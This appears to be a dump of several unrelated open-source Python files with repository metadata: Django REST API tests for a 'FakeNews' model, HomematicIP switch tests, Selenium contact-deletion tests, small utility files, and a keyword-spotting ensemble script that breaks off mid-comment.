tokens.get("access") self._client.credentials(HTTP_AUTHORIZATION=f" Bearer {token_access}") resp = self._make_request() self.assertEqual(resp.status_code, 200) self.assertEqual(len(resp.data.get("results")), 10) self.assertEqual(resp.data.get("count"), 11) self.assertIsNotNone(resp.data.get("next")) class FakeNewsDetailTestCase(AuthenticationTestTemplate): def _get_callable_client_method_http(self): return self._client.get def _get_basename_url(self): return "fakenews-detail" def _get_kwargs_url(self): return {"slug": "test-create-fakenews-title"} def test_action_user_without_permission(self): """all logged user has permission.""" pass def test_detail_obj_token(self): tokens = self.get_token_valid_normal_user() token_access = tokens.get("access") self._client.credentials(HTTP_AUTHORIZATION=f" Bearer {token_access}") fakenews = FakeNews.objects.create( author=User.objects.last(), title="test create fakenews title", subtitle="test create fakenews subtitle", body="test create fakenews body", ) resp = self._client.get(reverse_lazy("fakenews-detail", kwargs={"slug": fakenews.slug})) self.assertEqual(resp.status_code, 200) self.assertEqual(resp.data.get("title"), fakenews.title) def test_detail_not_found(self): tokens = self.get_token_valid_admin_user() token_access = tokens.get("access") self._client.credentials(HTTP_AUTHORIZATION=f" Bearer {token_access}") resp = self._client.get(reverse_lazy("fakenews-detail", kwargs={"slug": "slug-not-found"})) self.assertEqual(resp.status_code, 404) class FakeNewsCreateTestCase(AuthenticationTestTemplate): def _get_callable_client_method_http(self): return self._client.post def _get_basename_url(self): return "fakenews-list" def _get_kwargs_url(self): return {} def test_action_user_without_permission(self): """all logged user has permission.""" pass def test_create_successful(self): tokens = self.get_token_valid_admin_user() token_access = tokens.get("access") self._client.credentials(HTTP_AUTHORIZATION=f" Bearer {token_access}") resp = self._client.post( reverse_lazy("fakenews-list"), data={ "title": "test create fakenews title", "subtitle": "test create fakenews subtitle", "body": "test create fakenews body", }, ) self.assertEqual(resp.status_code, 201) self.assertEqual(FakeNews.objects.last().slug, resp.data.get("slug")) def test_create_already_exists(self): tokens = self.get_token_valid_admin_user() token_access = tokens.get("access") self._client.credentials(HTTP_AUTHORIZATION=f" Bearer {token_access}") FakeNews.objects.create( author=User.objects.last(), title="test create fakenews title", subtitle="test create fakenews subtitle", body="test create fakenews body", ) resp = self._client.post( reverse_lazy("fakenews-list"), data={ "title": "test create fakenews title", "subtitle": "test create fakenews subtitle", "body": "test create fakenews body", }, ) self.assertEqual(resp.status_code, 400) self.assertEqual(resp.data.get("title").pop(0), "fake news with this title already exists.") def test_create_without_fields_required(self): tokens = self.get_token_valid_admin_user() token_access = tokens.get("access") self._client.credentials(HTTP_AUTHORIZATION=f" Bearer {token_access}") resp = self._make_request() self.assertEqual(resp.status_code, 400) self.assertEqual(resp.data.get("title").pop(0), "This field is required.") class FakeNewsDeleteTestCase(AuthenticationTestTemplate): def _get_callable_client_method_http(self): return self._client.delete def _get_basename_url(self): return "fakenews-detail" def _get_kwargs_url(self): return {"slug": "test-create-fakenews-title"} def test_action_user_without_permission(self): """all logged user has permission.""" pass def test_delete_successful(self): tokens = self.get_token_valid_admin_user() token_access = tokens.get("access") self._client.credentials(HTTP_AUTHORIZATION=f" Bearer {token_access}") fakenews = FakeNews.objects.create( author=User.objects.last(), title="test create fakenews title", subtitle="test create fakenews subtitle", body="test create fakenews body", ) resp = self._client.delete(reverse_lazy("fakenews-detail", kwargs={"slug": fakenews.slug})) self.assertEqual(resp.status_code, 204) class FakeNewsPatchTestCase(AuthenticationTestTemplate): def _get_callable_client_method_http(self): return self._client.patch def _get_basename_url(self): return "fakenews-detail" def _get_kwargs_url(self): return {"slug": "test-create-fakenews-title"} def test_action_user_without_permission(self): """all logged user has permission.""" pass def test_patch_normal_user(self): tokens = self.get_token_valid_normal_user() token_access = tokens.get("access") self._client.credentials(HTTP_AUTHORIZATION=f" Bearer {token_access}") fakenews = FakeNews.objects.create( author=User.objects.last(), title="test create fakenews title", subtitle="test create fakenews subtitle", body="test create fakenews body", ) resp = self._client.patch( reverse_lazy("fakenews-detail", kwargs={"slug": fakenews.slug}), data={"title": "title updated", "subtitle": "subtitle updated", "body": "body updated"}, ) self.assertEqual(resp.status_code, 200) self.assertEqual(resp.data.get("title"), "title updated") self.assertEqual(resp.data.get("slug"), "title-updated") self.assertEqual(FakeNews.objects.last().slug, "title-updated") class FakeNewsUpdateTestCase(AuthenticationTestTemplate): def _get_callable_client_method_http(self): return self._client.put def _get_basename_url(self): return "fakenews-detail" def _get_kwargs_url(self): return {"slug": "test-create-fakenews-title"} def test_action_user_without_permission(self): """all logged user has permission.""" pass def test_update_normal_user(self): tokens = self.get_token_valid_normal_user() token_access = tokens.get("access") self._client.credentials(HTTP_AUTHORIZATION=f" Bearer {token_access}") fakenews = FakeNews.objects.create( author=User.objects.last(), title="test create fakenews title", subtitle="test create fakenews subtitle", body="test create fakenews body", ) resp = self._client.put( reverse_lazy("fakenews-detail", kwargs={"slug": fakenews.slug}), data={"title": "title updated", "subtitle": "subtitle updated", "body": "body updated"}, ) self.assertEqual(resp.status_code, 200) self.assertEqual(resp.data.get("title"), "title updated") self.assertEqual(resp.data.get("slug"), "title-updated") self.assertEqual(FakeNews.objects.last().slug, "title-updated") # way to turn a test case class into an abstract del AuthenticationTestTemplate

36.594262

100

0.648897

1,008

8,929

5.521825

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0.09055

0.049587

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0

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8,929

243

101

36.744856

0.815099

0.026767

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0

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1

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false

0.031915

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0.324468

0

null

0

1

0

null

0

6

f71e3ee179bc25f0ee46fadb17b0041bb26da0fb

10,260

py

Python

tests/components/homematicip_cloud/test_switch.py

pcaston/core

e74d946cef7a9d4e232ae9e0ba150d18018cfe33

[ "Apache-2.0" ]

1

2021-07-08T20:09:55.000Z

tests/components/homematicip_cloud/test_switch.py

pcaston/core

e74d946cef7a9d4e232ae9e0ba150d18018cfe33

[ "Apache-2.0" ]

47

2021-02-21T23:43:07.000Z

2022-03-31T06:07:10.000Z

tests/components/homematicip_cloud/test_switch.py

OpenPeerPower/core

f673dfac9f2d0c48fa30af37b0a99df9dd6640ee

[ "Apache-2.0" ]

null

"""Tests for HomematicIP Cloud switch.""" from openpeerpower.components.homematicip_cloud import DOMAIN as HMIPC_DOMAIN from openpeerpower.components.homematicip_cloud.generic_entity import ( ATTR_GROUP_MEMBER_UNREACHABLE, ) from openpeerpower.components.switch import ( ATTR_CURRENT_POWER_W, ATTR_TODAY_ENERGY_KWH, DOMAIN as SWITCH_DOMAIN, ) from openpeerpower.const import STATE_OFF, STATE_ON from openpeerpower.setup import async_setup_component from .helper import async_manipulate_test_data, get_and_check_entity_basics async def test_manually_configured_platform(opp): """Test that we do not set up an access point.""" assert await async_setup_component( opp, SWITCH_DOMAIN, {SWITCH_DOMAIN: {"platform": HMIPC_DOMAIN}} ) assert not opp.data.get(HMIPC_DOMAIN) async def test_hmip_switch(opp, default_mock_hap_factory): """Test HomematicipSwitch.""" entity_id = "switch.schrank" entity_name = "Schrank" device_model = "HMIP-PS" mock_hap = await default_mock_hap_factory.async_get_mock_hap( test_devices=[entity_name] ) ha_state, hmip_device = get_and_check_entity_basics( opp, mock_hap, entity_id, entity_name, device_model ) assert ha_state.state == STATE_ON service_call_counter = len(hmip_device.mock_calls) await opp.services.async_call( "switch", "turn_off", {"entity_id": entity_id}, blocking=True ) assert len(hmip_device.mock_calls) == service_call_counter + 1 assert hmip_device.mock_calls[-1][0] == "turn_off" assert hmip_device.mock_calls[-1][1] == (1,) await async_manipulate_test_data(opp, hmip_device, "on", False) ha_state = opp.states.get(entity_id) assert ha_state.state == STATE_OFF await opp.services.async_call( "switch", "turn_on", {"entity_id": entity_id}, blocking=True ) assert len(hmip_device.mock_calls) == service_call_counter + 3 assert hmip_device.mock_calls[-1][0] == "turn_on" assert hmip_device.mock_calls[-1][1] == (1,) await async_manipulate_test_data(opp, hmip_device, "on", True) ha_state = opp.states.get(entity_id) assert ha_state.state == STATE_ON async def test_hmip_switch_input(opp, default_mock_hap_factory): """Test HomematicipSwitch.""" entity_id = "switch.wohnzimmer_beleuchtung" entity_name = "Wohnzimmer Beleuchtung" device_model = "HmIP-FSI16" mock_hap = await default_mock_hap_factory.async_get_mock_hap( test_devices=[entity_name] ) ha_state, hmip_device = get_and_check_entity_basics( opp, mock_hap, entity_id, entity_name, device_model ) assert ha_state.state == STATE_ON service_call_counter = len(hmip_device.mock_calls) await opp.services.async_call( "switch", "turn_off", {"entity_id": entity_id}, blocking=True ) assert len(hmip_device.mock_calls) == service_call_counter + 1 assert hmip_device.mock_calls[-1][0] == "turn_off" assert hmip_device.mock_calls[-1][1] == (1,) await async_manipulate_test_data(opp, hmip_device, "on", False) ha_state = opp.states.get(entity_id) assert ha_state.state == STATE_OFF await opp.services.async_call( "switch", "turn_on", {"entity_id": entity_id}, blocking=True ) assert len(hmip_device.mock_calls) == service_call_counter + 3 assert hmip_device.mock_calls[-1][0] == "turn_on" assert hmip_device.mock_calls[-1][1] == (1,) await async_manipulate_test_data(opp, hmip_device, "on", True) ha_state = opp.states.get(entity_id) assert ha_state.state == STATE_ON async def test_hmip_switch_measuring(opp, default_mock_hap_factory): """Test HomematicipSwitchMeasuring.""" entity_id = "switch.pc" entity_name = "Pc" device_model = "HMIP-PSM" mock_hap = await default_mock_hap_factory.async_get_mock_hap( test_devices=[entity_name] ) ha_state, hmip_device = get_and_check_entity_basics( opp, mock_hap, entity_id, entity_name, device_model ) assert ha_state.state == STATE_ON service_call_counter = len(hmip_device.mock_calls) await opp.services.async_call( "switch", "turn_off", {"entity_id": entity_id}, blocking=True ) assert len(hmip_device.mock_calls) == service_call_counter + 1 assert hmip_device.mock_calls[-1][0] == "turn_off" assert hmip_device.mock_calls[-1][1] == (1,) await async_manipulate_test_data(opp, hmip_device, "on", False) ha_state = opp.states.get(entity_id) assert ha_state.state == STATE_OFF await opp.services.async_call( "switch", "turn_on", {"entity_id": entity_id}, blocking=True ) assert len(hmip_device.mock_calls) == service_call_counter + 3 assert hmip_device.mock_calls[-1][0] == "turn_on" assert hmip_device.mock_calls[-1][1] == (1,) await async_manipulate_test_data(opp, hmip_device, "on", True) await async_manipulate_test_data(opp, hmip_device, "currentPowerConsumption", 50) ha_state = opp.states.get(entity_id) assert ha_state.state == STATE_ON assert ha_state.attributes[ATTR_CURRENT_POWER_W] == 50 assert ha_state.attributes[ATTR_TODAY_ENERGY_KWH] == 36 await async_manipulate_test_data(opp, hmip_device, "energyCounter", None) ha_state = opp.states.get(entity_id) assert not ha_state.attributes.get(ATTR_TODAY_ENERGY_KWH) async def test_hmip_group_switch(opp, default_mock_hap_factory): """Test HomematicipGroupSwitch.""" entity_id = "switch.strom_group" entity_name = "Strom Group" device_model = None mock_hap = await default_mock_hap_factory.async_get_mock_hap(test_groups=["Strom"]) ha_state, hmip_device = get_and_check_entity_basics( opp, mock_hap, entity_id, entity_name, device_model ) assert ha_state.state == STATE_ON service_call_counter = len(hmip_device.mock_calls) await opp.services.async_call( "switch", "turn_off", {"entity_id": entity_id}, blocking=True ) assert len(hmip_device.mock_calls) == service_call_counter + 1 assert hmip_device.mock_calls[-1][0] == "turn_off" assert hmip_device.mock_calls[-1][1] == () await async_manipulate_test_data(opp, hmip_device, "on", False) ha_state = opp.states.get(entity_id) assert ha_state.state == STATE_OFF await opp.services.async_call( "switch", "turn_on", {"entity_id": entity_id}, blocking=True ) assert len(hmip_device.mock_calls) == service_call_counter + 3 assert hmip_device.mock_calls[-1][0] == "turn_on" assert hmip_device.mock_calls[-1][1] == () await async_manipulate_test_data(opp, hmip_device, "on", True) ha_state = opp.states.get(entity_id) assert ha_state.state == STATE_ON assert not ha_state.attributes.get(ATTR_GROUP_MEMBER_UNREACHABLE) await async_manipulate_test_data(opp, hmip_device, "unreach", True) ha_state = opp.states.get(entity_id) assert ha_state.attributes[ATTR_GROUP_MEMBER_UNREACHABLE] async def test_hmip_multi_switch(opp, default_mock_hap_factory): """Test HomematicipMultiSwitch.""" entity_id = "switch.jalousien_1_kizi_2_schlazi_channel1" entity_name = "Jalousien - 1 KiZi, 2 SchlaZi Channel1" device_model = "HmIP-PCBS2" mock_hap = await default_mock_hap_factory.async_get_mock_hap( test_devices=[ "Jalousien - 1 KiZi, 2 SchlaZi", "Multi IO Box", "Heizungsaktor", "ioBroker", "Schaltaktor Verteiler", ] ) ha_state, hmip_device = get_and_check_entity_basics( opp, mock_hap, entity_id, entity_name, device_model ) assert ha_state.state == STATE_OFF service_call_counter = len(hmip_device.mock_calls) await opp.services.async_call( "switch", "turn_on", {"entity_id": entity_id}, blocking=True ) assert len(hmip_device.mock_calls) == service_call_counter + 1 assert hmip_device.mock_calls[-1][0] == "turn_on" assert hmip_device.mock_calls[-1][1] == (1,) await async_manipulate_test_data(opp, hmip_device, "on", True) ha_state = opp.states.get(entity_id) assert ha_state.state == STATE_ON await opp.services.async_call( "switch", "turn_off", {"entity_id": entity_id}, blocking=True ) assert len(hmip_device.mock_calls) == service_call_counter + 3 assert hmip_device.mock_calls[-1][0] == "turn_off" assert hmip_device.mock_calls[-1][1] == (1,) await async_manipulate_test_data(opp, hmip_device, "on", False) ha_state = opp.states.get(entity_id) assert ha_state.state == STATE_OFF ha_state, hmip_device = get_and_check_entity_basics( opp, mock_hap, "switch.schaltaktor_verteiler_channel3", "Schaltaktor Verteiler Channel3", "HmIP-DRSI4", ) assert ha_state.state == STATE_OFF async def test_hmip_wired_multi_switch(opp, default_mock_hap_factory): """Test HomematicipMultiSwitch.""" entity_id = "switch.fernseher_wohnzimmer" entity_name = "Fernseher (Wohnzimmer)" device_model = "HmIPW-DRS8" mock_hap = await default_mock_hap_factory.async_get_mock_hap( test_devices=[ "Wired Schaltaktor – 8-fach", ] ) ha_state, hmip_device = get_and_check_entity_basics( opp, mock_hap, entity_id, entity_name, device_model ) assert ha_state.state == STATE_ON service_call_counter = len(hmip_device.mock_calls) await opp.services.async_call( "switch", "turn_off", {"entity_id": entity_id}, blocking=True ) assert len(hmip_device.mock_calls) == service_call_counter + 1 assert hmip_device.mock_calls[-1][0] == "turn_off" assert hmip_device.mock_calls[-1][1] == (1,) await async_manipulate_test_data(opp, hmip_device, "on", False) ha_state = opp.states.get(entity_id) assert ha_state.state == STATE_OFF await opp.services.async_call( "switch", "turn_on", {"entity_id": entity_id}, blocking=True ) assert len(hmip_device.mock_calls) == service_call_counter + 3 assert hmip_device.mock_calls[-1][0] == "turn_on" assert hmip_device.mock_calls[-1][1] == (1,) await async_manipulate_test_data(opp, hmip_device, "on", True) ha_state = opp.states.get(entity_id) assert ha_state.state == STATE_ON

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null

0

6

f72734b87340580ae862b0b1ab93d1933cead503

608

py

Python

100_days_of_code/Beginner/day_13/art.py

Tiago-S-Ribeiro/Python-Pro-Bootcamp

20a82443fe2e6ee9040ecd9a03853e6c6346592c

[ "MIT" ]

null

100_days_of_code/Beginner/day_13/art.py

Tiago-S-Ribeiro/Python-Pro-Bootcamp

20a82443fe2e6ee9040ecd9a03853e6c6346592c

[ "MIT" ]

null

100_days_of_code/Beginner/day_13/art.py

Tiago-S-Ribeiro/Python-Pro-Bootcamp

20a82443fe2e6ee9040ecd9a03853e6c6346592c

[ "MIT" ]

null

logo = ''' ______ __ __ _ __ __ / ____/__ __ ___ _____ _____ / /_ / /_ ___ / | / /__ __ ____ ___ / /_ ___ _____ / / __ / / / // _ \ / ___// ___/ / __// __ \ / _ \ / |/ // / / // __ `__ \ / __ \ / _ \ / ___/ / /_/ // /_/ // __/(__ )(__ ) / /_ / / / // __/ / /| // /_/ // / / / / // /_/ // __// / \____/ \__,_/ \___//____//____/ \__//_/ /_/ \___/ /_/ |_/ \__,_//_/ /_/ /_//_.___/ \___//_/ '''

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1

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null

0

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f73310aa2b49cd42868188d5dd473dea96e80215

45

py

Python

mmdet2trt/models/backbones/__init__.py

jackweiwang/mmdetection-to-tensorrt

f988ba8e923764fb1173385a1c7160b8f8b5bd99

[ "Apache-2.0" ]

1

2021-08-23T10:09:37.000Z

mmdet2trt/models/backbones/__init__.py

gcong18/mmdetection-to-tensorrt

c31c32ee4720ff56010bcda77bacf3a110d0526c

[ "Apache-2.0" ]

null

mmdet2trt/models/backbones/__init__.py

gcong18/mmdetection-to-tensorrt

c31c32ee4720ff56010bcda77bacf3a110d0526c

[ "Apache-2.0" ]

null

from .base_backbone import BaseBackboneWraper

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0

null

0

1

0

1

0

1

0

6

f7341e6c9c32a76959a3fd6e6bbc2c1258099c06

69

py

Python

project/db/serializers/__init__.py

sunday-ucheawaji/API-

07fb4b596cfe8e85b8575a8e70a8c886d3ab627a

[ "MIT" ]

null

project/db/serializers/__init__.py

sunday-ucheawaji/API-

07fb4b596cfe8e85b8575a8e70a8c886d3ab627a

[ "MIT" ]

null

project/db/serializers/__init__.py

sunday-ucheawaji/API-

07fb4b596cfe8e85b8575a8e70a8c886d3ab627a

[ "MIT" ]

1

2022-02-09T14:13:20.000Z

from db.serializers.reset_serializer import SetNewPasswordSerializer

34.5

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6

f78966e147e74211c5c4049485163bba7cc57b66

2,328

py

Python

test/test_delete_contact.py

jekaterinak/python_training

5fc48bdd6abcb47a18042096a1f8b73c105fa379

[ "Apache-2.0" ]

null

test/test_delete_contact.py

jekaterinak/python_training

5fc48bdd6abcb47a18042096a1f8b73c105fa379

[ "Apache-2.0" ]

null

test/test_delete_contact.py

jekaterinak/python_training

5fc48bdd6abcb47a18042096a1f8b73c105fa379

[ "Apache-2.0" ]

null

from model.contact import Contact import random from selenium.webdriver.support.wait import WebDriverWait from selenium.webdriver.support import expected_conditions as EC def test_delete_some_contact_via_main_view(app, db,check_ui): if len(db.get_contact_list()) == 0: app.contact.add(Contact(firstname="faname", lastname="lname", address="address", homephone="1", mobilephone="2", workphone="3", fax="3", email="e1", email2="e2", email3="e3")) old_contacts = db.get_contact_list() contact = random.choice(old_contacts) app.contact.delete_contact_by_id_via_main_view(contact.id) WebDriverWait(app.wd, 5).until(EC.url_matches(app.base_url), 'Delete failed, not redirected to main page?') new_contacts = db.get_contact_list() assert len(old_contacts) - 1 == len(new_contacts) old_contacts.remove(contact) assert old_contacts == new_contacts if check_ui: for index, contact_item in enumerate(old_contacts): formatted_contact = app.contact.contact_like_on_webpage(contact_item) old_contacts[index] = formatted_contact assert sorted(old_contacts, key=Contact.id_or_max)==sorted(app.contact.get_contact_list(), key=Contact.id_or_max) def test_delete_some_contact_via_edit_view(app, db,check_ui): if len(db.get_contact_list()) == 0: app.contact.add(Contact(firstname="faname", lastname="lname", address="address", homephone="1", mobilephone="2", workphone="3", fax="3", email="e1", email2="e2", email3="e3")) old_contacts = db.get_contact_list() contact = random.choice(old_contacts) app.contact.delete_contact_by_id_via_edit_view(contact.id) new_contacts = db.get_contact_list() assert len(old_contacts) - 1 == len(new_contacts) old_contacts.remove(contact) assert old_contacts == new_contacts if check_ui: for index, contact_item in enumerate(old_contacts): formatted_contact = app.contact.contact_like_on_webpage(contact_item) old_contacts[index] = formatted_contact assert sorted(old_contacts, key=Contact.id_or_max) == sorted(app.contact.get_contact_list(), key=Contact.id_or_max)

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null

0

1

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null

0

6

5414819b2f3b13bec1f30c9c52b02402841a9338

92

py

Python

rosalind/ini2.py

sowmyamanojna/BT3051-Data-Structures-and-Algorithms

09c17e42c2e173a6ab10339f08fbc1505db8ea56

[ "MIT" ]

1

2021-05-13T13:10:42.000Z

rosalind/ini2.py

sowmyamanojna/BT3051-Data-Structures-and-Algorithms

09c17e42c2e173a6ab10339f08fbc1505db8ea56

[ "MIT" ]

null

rosalind/ini2.py

sowmyamanojna/BT3051-Data-Structures-and-Algorithms

09c17e42c2e173a6ab10339f08fbc1505db8ea56

[ "MIT" ]

null

# [a, b] = map(int, input().split()) [a,b] = map(int, raw_input().split()) print a**2 + b**2

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null

0

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1

0

6

541f1446dd19a9673cfa16a9b97254165d957119

10,618

py

Python

ML-KWS-for-MCU/ensemble_csv.py

entropyencoder/keyword_spotting

c5ae9ce8492e530c6fcb7913d1947f9eebd3a49b

[ "Apache-2.0" ]

2

2018-04-25T02:58:07.000Z

2018-11-25T02:44:29.000Z

ML-KWS-for-MCU/ensemble_csv.py

entropyencoder/keyword_spotting

c5ae9ce8492e530c6fcb7913d1947f9eebd3a49b

[ "Apache-2.0" ]

null

ML-KWS-for-MCU/ensemble_csv.py

entropyencoder/keyword_spotting

c5ae9ce8492e530c6fcb7913d1947f9eebd3a49b

[ "Apache-2.0" ]

null

import csv import numpy as np # labels # 0. silence # 1. unknown # 2. yes # 3. no # 4. up # 5. down # 6. left # 7. right # 8. on # 9. off # 10. stop # 11. go class_labels = ('silence','unknown','yes','no','up','down','left','right','on','off','stop','go') ######################################################################## # This code assumes all source files have been sorted in the same way. # ######################################################################## # with open('pred_all.csv', 'w') as csvfile: #with open("../test_ensemble_DSCNN_GRU_LSTM.csv", 'w') as ensemble_csv: # with open("../test_ensemble_DSCNN_GRU_CRNN.csv", 'w') as ensemble_csv: # with open("../test_ensemble_DSCNN_GRU_LSTM_excluding_unknown.csv", 'w') as ensemble_csv: # with open("../test_ensemble_DSCNN_GRU_CRNN_excluding_unknown.csv", 'w') as ensemble_csv: #with open("./test_ensemble_normal_cnn_GRU_CRNN.csv", 'w') as ensemble_csv: #with open("./test_ensemble_DS_CNN3_up_0.50_GRU_CRNN.csv", 'w') as ensemble_csv: #with open("./test_ensemble_normal_CNN_up_0.50_GRU_CRNN.csv", 'w') as ensemble_csv: #with open("./test_ensemble_normal_CNN_up_0.50_GRU_LSTM.csv", 'w') as ensemble_csv: #with open("./test_ensemble_normal_CNN_up_0.50_DS_CNN3_up_0.60_GRU.csv", 'w') as ensemble_csv: #with open("./test_ensemble_normal_CNN_up_0.60_finer_input_DS_CNN3_up_0.60_GRU.csv", 'w') as ensemble_csv: #with open("./test_ensemble_normal_CNN_up_0.60_finer_input_GRU_CRNN.csv", 'w') as ensemble_csv: #with open("./test_ensemble_top3_ensembles.csv", 'w') as ensemble_csv: #with open("./test_ensemble_normal_CNN_7l_512ch_20dctcc_10winstride_0.50up_0.50dropout_GRU3_up_0.50_CRNN3_up_0.50.csv", 'w') as ensemble_csv: #with open("./test_ensemble_current_top_3s_180112_0009.csv", 'w') as ensemble_csv: # with open("./test_ensemble_current_top_3s_180112_2242.csv", 'w') as ensemble_csv: #with open("./test_ensemble_current_top_5s_180115_0631.csv", 'w') as ensemble_csv: #with open("./test_ensemble_180116_0633.csv", 'w') as ensemble_csv: #with open("./test_ensemble_180116_0641.csv", 'w') as ensemble_csv: #with open("./test_ensemble_180116_2302.csv", 'w') as ensemble_csv: #with open("./test_ensemble_180116_2307.csv", 'w') as ensemble_csv: with open("./test_ensemble_final_180117.csv", 'w') as ensemble_csv: ensemble_csv_wr = csv.writer(ensemble_csv, delimiter=',', quotechar='|', quoting=csv.QUOTE_MINIMAL) # # Ensemble 0 # pred_csv_0 = open("test_DS-CNN_3.csv", "r") # pred_csv_1 = open("test_GRU_L.csv", "r") # pred_csv_2 = open("test_LSTM_L.csv", "r") ## Ensemble 1 #pred_csv_0 = open("../test_DS-CNN_3.csv", "r") #pred_csv_1 = open("../test_GRU_L.csv", "r") #pred_csv_2 = open("../test_CRNN_L.csv", "r") ## Ensemble 2 #pred_csv_0 = open("./test_normal_cnn.csv", "r") #pred_csv_1 = open("./test_GRU_L.csv", "r") #pred_csv_2 = open("./test_CRNN_L.csv", "r") ## Ensemble 3 #pred_csv_0 = open("./test_DS_CNN3_up_0.50.csv", "r") #pred_csv_1 = open("./test_GRU_L.csv", "r") #pred_csv_2 = open("./test_CRNN_L.csv", "r") ## Ensemble 4 #pred_csv_0 = open("./test_normal_CNN_up_0.50.csv", "r") #pred_csv_1 = open("./test_GRU_L.csv", "r") #pred_csv_2 = open("./test_CRNN_L.csv", "r") ## Ensemble 4 #pred_csv_0 = open("./test_normal_CNN_up_0.50.csv", "r") #pred_csv_1 = open("./test_GRU_L.csv", "r") #pred_csv_2 = open("./test_LSTM_L.csv", "r") ## Ensemble 4 #pred_csv_0 = open("./test_normal_CNN_up_0.50.csv", "r") #pred_csv_1 = open("./test_DS_CNN3_up_0.60.csv", "r") #pred_csv_2 = open("./test_GRU_L.csv", "r") ## Ensemble 4 #pred_csv_0 = open("./test_normal_CNN_up_0.60_finer_input.csv", "r") #pred_csv_1 = open("./test_DS_CNN3_up_0.60.csv", "r") #pred_csv_2 = open("./test_GRU_L.csv", "r") ## Ensemble 4 #pred_csv_0 = open("./test_normal_CNN_up_0.60_finer_input.csv", "r") #pred_csv_1 = open("./test_GRU_L.csv", "r") #pred_csv_2 = open("./test_CRNN_L.csv", "r") ## Ensemble 4 #pred_csv_0 = open("./test_ensemble_normal_CNN_up_0.60_finer_input_DS_CNN3_up_0.60_GRU.csv", 'r') #pred_csv_1 = open("./test_ensemble_normal_CNN_up_0.60_finer_input_GRU_CRNN.csv", 'r') #pred_csv_2 = open("./test_ensemble_normal_CNN_up_0.50_DS_CNN3_up_0.60_GRU.csv", 'r') ## Ensemble 4 #pred_csv_0 = open("./test_normal_CNN_7l_512ch_20dctcc_10winstride_0.50up_0.50dropout.csv", 'r') #pred_csv_1 = open("./test_GRU3_up_0.50.csv", 'r') #pred_csv_2 = open("./test_CRNN3_up_0.50.csv", 'r') ## Ensemble 4 #pred_csv_0 = open("./test_normal_CNN_7l_512ch_20dctcc_10winstride_0.50up_0.50dropout.csv", 'r') #pred_csv_1 = open("./test_normal_CNN_7l_512ch_40dctcc_10winstride_0.50up_0.50dropout.csv", 'r') #pred_csv_2 = open("./test_normal_CNN_10l_512ch_20dctcc_10winstride_0.50up_0.50dropout.csv", 'r') ## Ensemble 4 <<<<<<<<<< Current best >>>>>>>>>>>> #pred_csv_0 = open("./test_normal_CNN_11l_512ch_20dctcc_10winstride_0.50up_0.50dropout.csv", 'r') #pred_csv_1 = open("./test_normal_CNN_7l_512ch_20dctcc_10winstride_0.50up_0.50dropout.csv", 'r') #pred_csv_2 = open("./test_normal_CNN_7l_512ch_40dctcc_10winstride_0.50up_0.50dropout.csv", 'r') ## Ensemble 4 # pred_csv_0 = open("./test_normal_CNN_11l_512ch_20dctcc_10winstride_0.50up_0.50dropout.csv", 'r') # pred_csv_1 = open("./test_normal_CNN_7l_512ch_20dctcc_10winstride_0.50up_0.50dropout.csv", 'r') # pred_csv_2 = open("./test_normal_CNN_7l_512ch_40dctcc_10winstride_0.50up_0.50dropout.csv", 'r') # pred_csv_3 = open("./test_normal_CNN_10l_512ch_20dctcc_10winstride_0.50up_0.50dropout.csv", 'r') # pred_csv_4 = open("./test_normal_CNN_14l_512ch_20dctcc_10winstride_0.50up_0.50dropout.csv", 'r') ## Ensemble test_ensemble_180116_0633.csv #pred_csv_0 = open("./test_ensemble_current_top_3s_180112_2242.csv", 'r') #pred_csv_1 = open("./test_normal_CNN_11l_512ch_20dctcc_10winstride_0.50up_0.50dropout.csv", 'r') #pred_csv_2 = open("./test_normal_CNN_10l_512ch_20dctcc_10winstride_0.50up_0.50dropout.csv", 'r') #pred_csv_3 = open("./test_normal_CNN_13l_512ch_20dctcc_10winstride_0.50up_0.50dropout.csv", 'r') #pred_csv_4 = open("./test_normal_CNN_14l_512ch_20dctcc_10winstride_0.50up_0.50dropout.csv", 'r') ## Ensemble test_ensemble_180116_0641.csv #pred_csv_0 = open("./test_normal_CNN_11l_512ch_20dctcc_10winstride_0.50up_0.50dropout.csv", 'r') #pred_csv_1 = open("./test_normal_CNN_11l_512ch_20dctcc_10winstride_0.50up_0.50dropout_copy1.csv", 'r') #pred_csv_2 = open("./test_normal_CNN_11l_512ch_20dctcc_10winstride_0.50up_0.50dropout_copy2.csv", 'r') #pred_csv_3 = open("./test_normal_CNN_7l_512ch_20dctcc_10winstride_0.50up_0.50dropout.csv", 'r') #pred_csv_4 = open("./test_normal_CNN_7l_512ch_40dctcc_10winstride_0.50up_0.50dropout.csv", 'r') ## Ensemble "./test_ensemble_180116_2302.csv" #pred_csv_0 = open("./test_normal_CNN_11l_512ch_20dctcc_10winstride_0.50up_0.50dropout.csv", 'r') #pred_csv_1 = open("./test_normal_CNN_7l_512ch_20dctcc_10winstride_0.50up_0.50dropout.csv", 'r') #pred_csv_2 = open("./test_normal_CNN_7l_512ch_40dctcc_10winstride_0.50up_0.50dropout.csv", 'r') ## Ensemble "./test_ensemble_180116_2307.csv" #pred_csv_0 = open("./test_normal_CNN_11l_512ch_20dctcc_10winstride_0.50up_0.50dropout.csv", 'r') #pred_csv_1 = open("./test_normal_CNN_7l_512ch_20dctcc_10winstride_0.50up_0.50dropout.csv", 'r') #pred_csv_2 = open("./test_normal_CNN_7l_512ch_40dctcc_10winstride_0.50up_0.50dropout.csv", 'r') # Ensemble "./test_ensemble_final_180117.csv" pred_csv_0 = open("./test_normal_CNN_11l_512ch_20dctcc_10winstride_0.50up_0.50dropout.csv", 'r') pred_csv_1 = open("./test_normal_CNN_11l_512ch_40dctcc_10winstride_0.50up_0.50dropout.csv", 'r') pred_csv_2 = open("./test_normal_CNN_7l_512ch_20dctcc_10winstride_0.50up_0.50dropout.csv", 'r') ################################################################################## # (1) Ensemble from 3 predictions ################################################################################## # Remove header pred_csv_0.readline() pred_csv_1.readline() pred_csv_2.readline() pred_csv_rd_0 = csv.reader(pred_csv_0) pred_csv_rd_1 = csv.reader(pred_csv_1) pred_csv_rd_2 = csv.reader(pred_csv_2) ensemble_csv_wr.writerow(['fname', 'label']) # Same priority between classes for row_0, row_1, row_2 in zip(pred_csv_rd_0, pred_csv_rd_1, pred_csv_rd_2): # Simple majority voting from three predictions # The highest priority is 'DSCNN'. if row_1[1]==row_2[1]: sel_class = row_1[1] else: sel_class = row_0[1] ensemble_csv_wr.writerow([row_0[0], sel_class]) ## Unknown-weighted ensemble #for row_0, row_1, row_2 in zip(pred_csv_rd_0, pred_csv_rd_1, pred_csv_rd_2): # # Simple majority voting from three predictions # # The highest priority is 'DSCNN'. # if 